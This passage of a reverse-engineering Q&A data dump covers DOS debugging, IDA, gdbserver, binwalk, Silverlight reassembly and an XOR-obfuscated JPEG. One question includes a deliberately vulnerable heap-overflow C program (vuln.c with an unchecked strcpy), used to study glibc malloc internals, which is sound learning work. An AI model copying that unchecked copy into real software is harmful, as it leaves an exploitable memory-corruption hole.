uses&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3:30 talk outline&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Part I - Top Down&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;4:10 code, registers, conventions&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Part II - Bottom Up&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;20:30 benefits of using available documentation and lack of it in general&lt;/p&gt;&#xA;&#xA;&lt;p&gt;25:00 dice photographs&lt;/p&gt;&#xA;&#xA;&lt;p&gt;25:15 early results&lt;/p&gt;&#xA;&#xA;&lt;p&gt;25:21 2001 hi-res photos, and creation of schematic diagram&lt;/p&gt;&#xA;&#xA;&lt;p&gt;26:20 other efforts by Visual 6502 project&lt;/p&gt;&#xA;&#xA;&lt;p&gt;26:40 slides showing removing plastic using hot acid&lt;/p&gt;&#xA;&#xA;&lt;p&gt;27:04 results of acid work&lt;/p&gt;&#xA;&#xA;&lt;p&gt;27:11 nice results&lt;/p&gt;&#xA;&#xA;&lt;p&gt;27:38 microscopes&lt;/p&gt;&#xA;&#xA;&lt;p&gt;27:45 lots and lots of tiny photographs stiched together&lt;/p&gt;&#xA;&#xA;&lt;p&gt;27:52 taking photographs of the surface not enough, several layers&lt;/p&gt;&#xA;&#xA;&lt;p&gt;28:10 removal of other layers using chemicals&lt;/p&gt;&#xA;&#xA;&lt;p&gt;28:13 and hires photo&lt;/p&gt;&#xA;&#xA;&lt;p&gt;26:20 200 megapixel hi-res photo of the dice&lt;/p&gt;&#xA;&#xA;&lt;p&gt;28:35 custom software to trace photos&lt;/p&gt;&#xA;&#xA;&lt;p&gt;28:55 vector drawing&lt;/p&gt;&#xA;&#xA;&lt;p&gt;29:05 final results&lt;/p&gt;&#xA;&#xA;&lt;p&gt;29:25 netlist&lt;/p&gt;&#xA;&#xA;&lt;p&gt;29:50 simulating processor using netlist&lt;/p&gt;&#xA;&#xA;&lt;p&gt;30:53 speed&lt;/p&gt;&#xA;&#xA;&lt;p&gt;32:00 simulation in web browser&lt;/p&gt;&#xA;&#xA;&lt;p&gt;32:45 C simulator&lt;/p&gt;&#xA;&#xA;&lt;p&gt;34:00 other emulators&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Part III - What We Have Learned&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;40:00 example what was found&lt;/p&gt;&#xA;&#xA;&lt;p&gt;44:45 illegal opcodes&lt;/p&gt;&#xA;&#xA;&lt;p&gt;48:10 present reverse engineering efforts&lt;/p&gt;&#xA;&#xA;&lt;p&gt;48:50 licenced cpu in other product&lt;/p&gt;&#xA;&#xA;&lt;p&gt;49:50 vectorising Z80, other chips&lt;/p&gt;&#xA;&#xA;&lt;p&gt;50:30 x-ray of motherboard&lt;/p&gt;&#xA;" OwnerUserId="3254" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.337" LastActivityDate="2013-12-17T08:53:26.967" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3113" PostTypeId="1" CreationDate="2013-11-30T17:11:51.027" Score="5" ViewCount="617" Body="&lt;p&gt;When debugging the following com file in MS-DOS, I can successfully run the program with &lt;code&gt;-g&lt;/code&gt; and it terminates normally, but when I trace it &lt;code&gt;-t 1000&lt;/code&gt;, the program throws an illegal operation exception and terminates after +/- 800 instructions.  I traced the file manually, but I cannot see why it aborts (it does write to some data to the lower memory regions, but that shouldn't affect the debugger).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The COM file can be found &lt;a href=&quot;http://ul.to/sv80kses&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both MS Debug and the Freedos &lt;code&gt;DEBUG.exe&lt;/code&gt; give the same results (albeit that they crash at a different point in the execution).  Both the WinXP virtual x86 environment and dosbox give the same results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts on why this is happining?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&#xA;A trace can be found in this &lt;a href=&quot;http://pastebin.com/dtt71c01&quot; rel=&quot;nofollow&quot;&gt;pastebin&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This trace was made with Dosbox running the FreeDOS debugger using &lt;a href=&quot;http://www.ibiblio.org/pub/micro/pc-stuff/freedos/files/dos/debug/&quot; rel=&quot;nofollow&quot;&gt;these software&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I looked into the MASM code from the debugger: normally no INT3 should&#xA;be used for a single-step trace. Also note the fact that all the registers and flags are messed up.&lt;/p&gt;&#xA;" OwnerUserId="3270" LastEditorUserId="53" LastEditDate="2013-12-03T08:33:38.213" LastActivityDate="2013-12-03T08:33:38.213" Title="Cannot trace an MS-DOS COM file" Tags="|debuggers|dos-com|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3115" PostTypeId="2" ParentId="3113" CreationDate="2013-12-01T05:00:58.797" Score="4" Body="&lt;p&gt;These instructions:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;6401.AX=0000 BX=0811 CX=0004 DX=0000 SP=FFF8 BP=0000 SI=8020 DI=8000&#xA;6402.DS=F800 ES=F800 SS=06F1 CS=0811 IP=051F NV UP EI PL ZR NA PE NC&#xA;6403.0811:051F F3AB              REP     STOSW&#xA;6404.AX=0000 BX=0811 CX=0003 DX=0000 SP=FFF8 BP=0000 SI=8020 DI=8002&#xA;6405.DS=F800 ES=F800 SS=06F1 CS=0811 IP=051F NV UP EI PL ZR NA PE NC&#xA;6406.0811:051F F3AB              REP     STOSW&#xA;6407.AX=0000 BX=0811 CX=0002 DX=0000 SP=FFF8 BP=0000 SI=8020 DI=8004&#xA;6408.DS=F800 ES=F800 SS=06F1 CS=0811 IP=051F NV UP EI PL ZR NA PE NC&#xA;6409.0811:051F F3AB              REP     STOSW&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;are overwriting the interrupt table - specifically interrupt 0 and intending to write interrupt 1.  The Trace uses interrupt 1, so it is interrupting that write.  The next trace instruction that occurs after that last REP completes will trigger an interrupt using the partially overwritten new address instead of the debugger's one.&#xA;The effects are entirely unpredictable at that point.&#xA;You can't trace through this one automatically.  It will require some interaction from you.&lt;/p&gt;&#xA;" OwnerUserId="1323" LastActivityDate="2013-12-01T05:00:58.797" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3116" PostTypeId="1" CreationDate="2013-12-01T09:38:34.123" Score="10" ViewCount="13617" Body="&lt;p&gt;Is there a way to convert a &lt;code&gt;.rdata&lt;/code&gt; vtable entry to an IDA struct? An example of the vtable entry:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://puu.sh/5yBWu.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And what the resulting struct should look like (but with all entries - this vtable specifically, should have 109 vfuncs):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://puu.sh/5yD79.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would assume there's some option to give IDA an address, and vtable length, I think I am just missing it. Or maybe there's a script I don't know of, which does this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using IDA v6.1.&lt;/p&gt;&#xA;" OwnerUserId="3273" LastEditorUserId="-1" LastEditDate="2017-03-10T09:42:49.517" LastActivityDate="2023-02-13T14:50:28.883" Title="Converting a virtual table from .rdata into an IDA struct" Tags="|ida|struct|vtables|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3117" PostTypeId="2" ParentId="3116" CreationDate="2013-12-01T12:35:04.130" Score="6" Body="&lt;p&gt;There is a great IDA plugin called &lt;a href=&quot;https://github.com/REhints/HexRaysCodeXplorer&quot; rel=&quot;nofollow&quot;&gt;HexRaysCodeXplorer&lt;/a&gt; that does &lt;a href=&quot;http://rehints.com/2013-09-02-Type-REconstruction-in-HexRaysCodeXplorer.html&quot; rel=&quot;nofollow&quot;&gt;automatic type reconstruction&lt;/a&gt; for C++ objects . It should do what you need.&lt;/p&gt;&#xA;" OwnerUserId="1554" LastEditorUserId="1485" LastEditDate="2013-12-01T21:05:30.950" LastActivityDate="2013-12-01T21:05:30.950" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3118" PostTypeId="2" ParentId="3116" CreationDate="2013-12-02T08:48:49.397" Score="4" Body="&lt;p&gt;In the next version, 6.5, it should be as easy as selecting the corresponding VTable area, right click and selecting the menu option &quot;Create struct from data&quot; (leak from IDA Beta testing). In the meantime, you can use &lt;a href=&quot;http://pastebin.com/zsGNa6h7&quot; rel=&quot;nofollow&quot;&gt;this IDAPython script&lt;/a&gt; I use myself. I hope you'll find it helpful.&lt;/p&gt;&#xA;" OwnerUserId="111" LastActivityDate="2013-12-02T08:48:49.397" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3121" PostTypeId="1" AcceptedAnswerId="3122" CreationDate="2013-12-02T16:35:14.583" Score="4" ViewCount="2061" Body="&lt;p&gt;My question is quite straight forward: is there a possibility to tell gdbserver to follow the child when forking like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;set follow-fork-mode child&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3155" LastActivityDate="2013-12-02T16:50:45.187" Title="Is there something like follow-fork-mode for gdbserver?" Tags="|gdb|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3122" PostTypeId="2" ParentId="3121" CreationDate="2013-12-02T16:41:23.723" Score="4" Body="&lt;p&gt;Unfortunately, it seems to be not supported (a bug?). See this &lt;a href=&quot;https://sourceware.org/bugzilla/show_bug.cgi?id=13584&quot; rel=&quot;nofollow&quot;&gt;bug report&lt;/a&gt; in &lt;code&gt;gdb&lt;/code&gt; bugzilla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not aware of any recent update concerning this bug...&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2013-12-02T16:50:45.187" LastActivityDate="2013-12-02T16:50:45.187" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="3123" PostTypeId="2" ParentId="2595" CreationDate="2013-12-03T01:20:46.317" Score="5" Body="&lt;p&gt;Three dimensional visualisation was recently added to &lt;a href=&quot;http://binwalk.org/3d-data-visualizations/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Binwalk&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;My implementation is fairly rudamentary: every three bytes in a file is treated as an x, y, z coordinate for a data point in a 3D plane where each axis extends from 0 through 255. This means that if the file has data that contains a certain range of byte values (e.g., printable ASCII characters), those bytes will generate coordinates in the same general area of the 3D plot.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is how AVR32 code looks like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/q5HPW.gif&quot; alt=&quot;Visualisation of AVR32 code&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get this, use the &lt;em&gt;--3D&lt;/em&gt; option:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ binwalk --3D yourfile.exe&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1485" LastEditorUserId="1485" LastEditDate="2013-12-03T01:26:55.293" LastActivityDate="2013-12-03T01:26:55.293" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3125" PostTypeId="1" CreationDate="2013-12-03T16:24:15.573" Score="2" ViewCount="195" Body="&lt;p&gt;I'm trying to insert some instrumentation into libraries such as &lt;code&gt;System.Windows.Browser.dll&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to use &lt;code&gt;ildasm&lt;/code&gt;+&lt;code&gt;ilasm&lt;/code&gt; and Reflexil and both failed - reassembled library causes browser crashes, even when i do not do any changes between disassembling and assembling.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've managed to change the runtime using simple hex-editor, and it was successful. but it's so annoying.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What do i do wrong? Why it's impossible to reassemble Silverlight5 runtime  with &lt;code&gt;ildasm&lt;/code&gt;/&lt;code&gt;ilasm&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ildasm.exe /out=System.Windows.Browser.il System.Windows.Browser.dll&#xA;ilasm.exe /dll System.Windows.Browser.il&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It works perfectly with .NET runtime and with Silverlight applications but not with Silverlight runtime.&lt;/p&gt;&#xA;" OwnerUserId="3285" LastEditorUserId="245" LastEditDate="2013-12-03T21:31:46.507" LastActivityDate="2013-12-03T21:31:46.507" Title="Reassembling Silverlight runtime" Tags="|disassembly|windows|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3127" PostTypeId="1" AcceptedAnswerId="3130" CreationDate="2013-12-04T20:26:32.243" Score="12" ViewCount="4911" Body="&lt;p&gt;A few days ago, I was wondering how one could teach himself heap-based overflow exploitation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I searched through documentation, subsequently practicing what I read in order to have a better insight of how the heap works under Linux.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We are told that the malloc() / free() function works around &lt;a href=&quot;http://gee.cs.oswego.edu/dl/html/malloc.html&quot;&gt;Doug Lea's memory allocator&lt;/a&gt; but, in spite of the great explanation given by the link, I cannot figure things out as I debug my program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given this example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;stdlib.h&amp;gt;&#xA;#include &amp;lt;string.h&amp;gt;&#xA;&#xA;int n = 5;&#xA;&#xA;int main(int argc, char** argv) {&#xA;&#xA;        char* p;&#xA;        char* q;&#xA;&#xA;        p = malloc(1024);&#xA;        q = malloc(1024);&#xA;&#xA;        printf(&quot;real size = %d\n&quot;,*(((int*)p)-1) &amp;amp; 0xFFFFFFF8);&#xA;&#xA;        if(argc &amp;gt;= 2) {&#xA;                strcpy(p, argv[1]);&#xA;        }&#xA;&#xA;        free(q);&#xA;        printf(&quot;n = 0x%08X\n&quot;, n);&#xA;        free(p);&#xA;&#xA;        return EXIT_SUCCESS;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would like to dump this structure in memory:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;struct chunk {&#xA;        int prev_size;&#xA;        int size;&#xA;        struct chunk *fd;&#xA;        struct chunk *bk;&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is my workflow:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;geo@lilith:~/c/vuln_malloc$ gcc -o vuln vuln.c -m32 -ggdb&#xA;geo@lilith:~/c/vuln_malloc$ gdb ./vuln&#xA;GNU gdb (GDB) 7.4.1-debian&#xA;Copyright (C) 2012 Free Software Foundation, Inc.&#xA;License GPLv3+: GNU GPL version 3 or later &amp;lt;http://gnu.org/licenses/gpl.html&amp;gt;&#xA;This is free software: you are free to change and redistribute it.&#xA;There is NO WARRANTY, to the extent permitted by law.  Type &quot;show copying&quot;&#xA;and &quot;show warranty&quot; for details.&#xA;This GDB was configured as &quot;x86_64-linux-gnu&quot;.&#xA;For bug reporting instructions, please see:&#xA;&amp;lt;http://www.gnu.org/software/gdb/bugs/&amp;gt;...&#xA;Reading symbols from /home/geo/c/vuln_malloc/vuln...done.&#xA;(gdb) b 21&#xA;Breakpoint 1 at 0x804850f: file vuln.c, line 21.&#xA;(gdb) r `perl -e 'print &quot;A&quot; x 1024'`&#xA;Starting program: /home/geo/c/vuln_malloc/vuln `perl -e 'print &quot;A&quot; x 1024'`&#xA;real size = 1032&#xA;&#xA;Breakpoint 1, main (argc=2, argv=0xffffd414) at vuln.c:21&#xA;21              free(q);&#xA;(gdb) x/10x q-4&#xA;0x804a40c:      0x00000409      0x00000000      0x00000000      0x00000000&#xA;0x804a41c:      0x00000000      0x00000000      0x00000000      0x00000000&#xA;0x804a42c:      0x00000000      0x00000000&#xA;(gdb)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here I can see the size-field's value, which is 0x409. I can easily guess that the real size of my chunk is 0x409 &amp;amp; 0xFFFFFF8 = 0x408 = 1032, as explained by the documentation (the three least significant actually define some flags). Then I run until the free() function is processed.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) b 22&#xA;Breakpoint 2 at 0x804851b: file vuln.c, line 22.&#xA;(gdb) c&#xA;Continuing.&#xA;&#xA;Breakpoint 2, main (argc=2, argv=0xffffd414) at vuln.c:22&#xA;22              printf(&quot;n = 0x%08X\n&quot;, n);&#xA;(gdb) x/10x q-4&#xA;0x804a40c:      0x00020bf9      0x00000000      0x00000000      0x00000000&#xA;0x804a41c:      0x00000000      0x00000000      0x00000000      0x00000000&#xA;0x804a42c:      0x00000000      0x00000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Firstly I don't understand the new value - 0x20bf9 - at all, secondly I don't understand why there isn't any relevant values as regard the fd and bk pointers either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All of that stuff does not make much sense for me, that's why I was wondering wether you could give me some clues about all of this or not. Does the Doug Lea's implementation still exist in recent glibc versions, or...?&lt;/p&gt;&#xA;" OwnerUserId="1316" LastEditorUserId="53" LastEditDate="2013-12-05T14:25:46.287" LastActivityDate="2016-11-06T17:14:59.437" Title="Understanding the most recent heap implementation under Linux" Tags="|linux|exploit|buffer-overflow|software-security|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3128" PostTypeId="1" AcceptedAnswerId="3135" CreationDate="2013-12-05T05:46:41.430" Score="5" ViewCount="620" Body="&lt;p&gt;This might be a bit of a narrow question but I think it is interesting. HP Photo Creations has made a thumbnail file that seems to contain an obfuscated JPEG inside it. I'm not sure why they would bother to obfuscate it but each byte seems to be modified based off its offset:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Offset(h) 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F&#xA;&#xA;00000000  FF D9 FD E3 04 15 4C 41 41 4F 0A 0A 0D 0D 0E 0E  ÿÙýã..LAAO......&#xA;00000010  10 10 12 13 EB F4 16 23 5D 61 73 7D 1C 1D 53 52  ....ëô.#]as}..SR&#xA;00000020  20 0B 22 23 24 2D 26 26 AF 40 2A 2F 2C 2D 2E 2E   .&quot;#$-&amp;amp;&amp;amp;¯@*/,-..&#xA;00000030  30 31 32 29 34 35 36 37 38 38 9E 3A 3C 3E 3E 3F  012)456788ž:&amp;lt;&amp;gt;&amp;gt;?&#xA;00000040  40 40 42 42 44 45 46 47 48 49 B5 A8 4C 77 03 2A  @@BBDEFGHIµ¨Lw.*&#xA;00000050  24 30 52 53 19 18 56 7D 58 59 5A 53 5C 5E 9D 3A  $0RS..V}XYZS\^.:&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where I would expect the first line to be something closer to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000000  FF D8 FF E0 00 10 4A 46 49 46 00 01 01 00 00 01  ÿØÿà..JFIF......&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas on what is going on here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="3294" LastActivityDate="2013-12-05T23:18:30.393" Title="Obfuscated JPEG" Tags="|file-format|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3130" PostTypeId="2" ParentId="3127" CreationDate="2013-12-05T14:15:20.807" Score="13" Body="&lt;p&gt;First of all, I have bad news for you ! Doug Lea's malloc is almost no more used in any C library implementation (even if understanding &lt;code&gt;dlmalloc&lt;/code&gt; can help a lot to understand new ones).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The new implementation that is most widely used is &lt;code&gt;ptmalloc2&lt;/code&gt; and the best way to learn about it is... to read the code... So, if you are using a Debian(-like) distribution, just like me, you just need to get the source code of the libc like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$&amp;gt; apt-get source libc6&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that the &lt;a href=&quot;http://lwn.net/Articles/488778/&quot; rel=&quot;nofollow noreferrer&quot;&gt;glibc is no more&lt;/a&gt; and has been subsumed by the &lt;a href=&quot;http://www.eglibc.org/home&quot; rel=&quot;nofollow noreferrer&quot;&gt;eglibc project&lt;/a&gt;. The Debian distribution switched to eglibc some time ago (see &lt;a href=&quot;http://blog.aurel32.net/47&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; and &lt;a href=&quot;http://lwn.net/Articles/332000/&quot; rel=&quot;nofollow noreferrer&quot;&gt;there&lt;/a&gt; and even on the &lt;a href=&quot;http://packages.qa.debian.org/g/glibc.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;glibc source package page&lt;/a&gt;). So, the implementation of &lt;code&gt;malloc&lt;/code&gt; has changed considerably (and some security safeties have been added since &lt;code&gt;dlmalloc&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, let see what does look like the &lt;code&gt;malloc&lt;/code&gt; implementation:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$&amp;gt; cd eglibc-2.17/malloc/&#xA;$&amp;gt; less malloc.c&#xA;&#xA;...&#xA;/*&#xA; This is a version (aka ptmalloc2) of malloc/free/realloc written by&#xA; Doug Lea and adapted to multiple threads/arenas by Wolfram Gloger.&#xA;&#xA; There have been substantial changesmade after the integration into&#xA; glibc in all parts of the code.  Do not look for much commonality&#xA; with the ptmalloc2 version.&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As I said, the algorithm used here is &lt;code&gt;ptmalloc2&lt;/code&gt; (POSIX Threads Malloc), but with significant modifications. So, you'd better read the code to know better about it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, to sum up a bit, the heap memory is managed through memory chunks which are prefixed by meta-data gathering these information (I am just quoting comments that are in the &lt;code&gt;malloc.c&lt;/code&gt; source file, refer to the whole file for more):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/*&#xA;   malloc_chunk details:&#xA;&#xA;    (The following includes lightly edited explanations by Colin Plumb.)&#xA;&#xA;    Chunks of memory are maintained using a `boundary tag' method as&#xA;    described in e.g., Knuth or Standish.  (See the paper by Paul&#xA;    Wilson ftp://ftp.cs.utexas.edu/pub/garbage/allocsrv.ps for a&#xA;    survey of such techniques.)  Sizes of free chunks are stored both&#xA;    in the front of each chunk and at the end.  This makes&#xA;    consolidating fragmented chunks into bigger chunks very fast. The&#xA;    size fields also hold bits representing whether chunks are free or&#xA;    in use.&#xA;&#xA;    An allocated chunk looks like this:&#xA;&#xA;&#xA;    chunk-&amp;gt; +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+&#xA;            |             Size of previous chunk, if allocated            | |&#xA;            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+&#xA;            |             Size of chunk, in bytes                       |M|P|&#xA;      mem-&amp;gt; +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+&#xA;            |             User data starts here...                          .&#xA;            .                                                               .&#xA;            .             (malloc_usable_size() bytes)                      .&#xA;            .                                                               |&#xA;nextchunk-&amp;gt; +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+&#xA;            |             Size of chunk                                     |&#xA;            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+&#xA;&#xA;&#xA;    Where &quot;chunk&quot; is the front of the chunk for the purpose of most of&#xA;    the malloc code, but &quot;mem&quot; is the pointer that is returned to the&#xA;    user.  &quot;Nextchunk&quot; is the beginning of the next contiguous chunk.&#xA;&#xA;    Chunks always begin on even word boundries, so the mem portion&#xA;    (which is returned to the user) is also on an even word boundary, and&#xA;    thus at least double-word aligned.&#xA;&#xA;    Free chunks are stored in circular doubly-linked lists, and look like this:&#xA;&#xA;    chunk-&amp;gt; +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+&#xA;            |             Size of previous chunk                            |&#xA;            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+&#xA;    `head:' |             Size of chunk, in bytes                         |P|&#xA;      mem-&amp;gt; +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+&#xA;            |             Forward pointer to next chunk in list             |&#xA;            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+&#xA;            |             Back pointer to previous chunk in list            |&#xA;            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+&#xA;            |             Unused space (may be 0 bytes long)                .&#xA;            .                                                               .&#xA;            .                                                               |&#xA;nextchunk-&amp;gt; +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+&#xA;    `foot:' |             Size of chunk, in bytes                           |&#xA;            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+&#xA;&#xA;    The P (PREV_INUSE) bit, stored in the unused low-order bit of the&#xA;    chunk size (which is always a multiple of two words), is an in-use&#xA;    bit for the *previous* chunk.  If that bit is *clear*, then the&#xA;    word before the current chunk size contains the previous chunk&#xA;    size, and can be used to find the front of the previous chunk.&#xA;    The very first chunk allocated always has this bit set,&#xA;    preventing access to non-existent (or non-owned) memory. If&#xA;    prev_inuse is set for any given chunk, then you CANNOT determine&#xA;    the size of the previous chunk, and might even get a memory&#xA;    addressing fault when trying to do so.&#xA;&#xA;    Note that the `foot' of the current chunk is actually represented&#xA;    as the prev_size of the NEXT chunk. This makes it easier to&#xA;    deal with alignments etc but can be very confusing when trying&#xA;    to extend or adapt this code.&#xA;&#xA;    The two exceptions to all this are&#xA;&#xA;     1. The special chunk `top' doesn't bother using the&#xA;        trailing size field since there is no next contiguous chunk&#xA;        that would have to index off it. After initialization, `top'&#xA;        is forced to always exist.  If it would become less than&#xA;        MINSIZE bytes long, it is replenished.&#xA;&#xA;     2. Chunks allocated via mmap, which have the second-lowest-order&#xA;        bit M (IS_MMAPPED) set in their size fields.  Because they are&#xA;        allocated one-by-one, each must contain its own trailing size field.&#xA;*/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can also refer to '&lt;a href=&quot;https://csg.utdallas.edu/wp-content/uploads/2012/08/Heap-Based-Exploitation.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Heap-Based Exploitation&lt;/em&gt;&lt;/a&gt;' which is a talk from Scott Hand about heap management and overflow exploitation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Still, you have a lot of work to do to understand everything, I would have like to have more time to explain. But, I hope it helped you a bit to find ways to go deeper (downloading the source is really the key here).&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2016-11-06T17:14:59.437" LastActivityDate="2016-11-06T17:14:59.437" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3135" PostTypeId="2" ParentId="3128" CreationDate="2013-12-05T23:18:30.393" Score="3" Body="&lt;p&gt;I thought about this after work and realised that it was just going to be the data XOR-ed with the low bits off the offset. Based off that I got out a valid JPEG:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Offset(h) 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F&#xA;&#xA;00000000  FF D8 FF E0 00 10 4A 46 49 46 00 01 01 00 00 01  ÿØÿà..JFIF......&#xA;00000010  00 01 00 00 FF E1 00 34 45 78 69 66 00 00 4D 4D  ....ÿá.4Exif..MM&#xA;00000020  00 2A 00 00 00 08 00 01 87 69 00 04 00 00 00 01  .*......‡i......&#xA;00000030  00 00 00 1A 00 00 00 00 00 01 A4 01 00 03 00 00  ..........¤.....&#xA;00000040  00 01 00 01 00 00 00 00 00 00 FF E3 00 3A 4D 65  ..........ÿã.:Me&#xA;00000050  74 61 00 00 4D 4D 00 2A 00 00 00 08 00 03 C3 65  ta..MM.*......Ãe&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3294" LastActivityDate="2013-12-05T23:18:30.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
